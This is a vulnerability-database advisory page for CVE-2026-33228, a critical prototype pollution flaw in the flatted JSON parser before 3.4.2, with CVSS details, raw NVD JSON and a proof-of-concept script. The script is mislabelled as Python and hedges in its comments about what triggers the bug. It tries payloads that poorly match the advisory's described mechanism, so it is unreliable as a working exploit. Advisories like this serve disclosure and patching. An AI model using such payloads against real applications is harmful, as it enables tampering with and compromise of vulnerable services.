Security Vulnerability Report
中文
CVE-2026-33228 CVSS 9.8 CRITICAL

CVE-2026-33228

Published: 2026-03-20 23:16:47
Last Modified: 2026-03-23 19:14:31

Description

flatted is a circular JSON parser. Prior to version 3.4.2, the parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. This issue has been patched in version 3.4.2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:webreflection:flatted:*:*:*:*:*:node.js:*:* - VULNERABLE
flatted < 3.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33228 (flatted < 3.4.2) const flatted = require('flatted'); console.log('[*] Testing for Prototype Pollution in flatted...'); // Payload 1: Standard object based // In flatted, the parsing logic often involves arrays to reconstruct circular references. // The advisory mentions: "accessing it with the key '__proto__' returns Array.prototype" // Constructing a payload that triggers the vulnerability // The vulnerability allows assigning properties to Array.prototype const maliciousPayload = JSON.stringify({ "__proto__": { "polluted": true } }); console.log('[*] Parsing payload:', maliciousPayload); try { const parsed = flatted.parse(maliciousPayload); // Verify if the pollution occurred // If successful, empty object {} should have the 'polluted' property if ({}.polluted === true) { console.log('[+] SUCCESS: Prototype polluted via Object payload!'); console.log(' {}.polluted =', {}.polluted); } else { // Try an array based payload if object payload fails (common in flatted) // Flatted parses arrays specifically, so passing an array might be the direct trigger const arrayPayload = JSON.stringify([["__proto__"], { "polluted": true }]); const parsedArr = flatted.parse(arrayPayload); if ({}.polluted === true) { console.log('[+] SUCCESS: Prototype polluted via Array payload!'); console.log(' {}.polluted =', {}.polluted); } else { console.log('[-] FAILED: Prototype not polluted.'); } } } catch (e) { console.error('[-] Error during parsing:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33228", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:46.510", "lastModified": "2026-03-23T19:14:31.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "flatted is a circular JSON parser. Prior to version 3.4.2, the parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key \"__proto__\" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. This issue has been patched in version 3.4.2."}, {"lang": "es", "value": "flatted es un analizador de JSON circular. Antes de la versión 3.4.2, la función parse() en flatted puede usar valores de cadena controlados por el atacante del JSON analizado como claves de índice de array directas, sin validar que sean numéricos. Dado que el búfer de entrada interno es un Array de JavaScript, acceder a él con la clave '__proto__' devuelve Array.prototype a través del getter heredado. Este objeto es entonces tratado como un valor analizado legítimo y asignado como una propiedad del objeto de salida, filtrando efectivamente una referencia en vivo a Array.prototype al consumidor. Cualquier código que posteriormente escriba en esa propiedad contaminará el prototipo global. Este problema ha sido parcheado en la versión 3.4.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webreflection:flatted:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.4.2", "matchCriteriaId": "B9B19945-5AD9-4557-A372-AF04A9EDC1BB"}]}]}], "references": [{"url": "https://github.com/WebReflection/flatted/commit/885ddcc33cf9657caf38c57c7be45ae1c5272802", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WebReflection/flatted/releases/tag/v3.4.2", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/WebReflection/flatted/security/advisories/GHSA-rf6f-7fwh-wjgh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}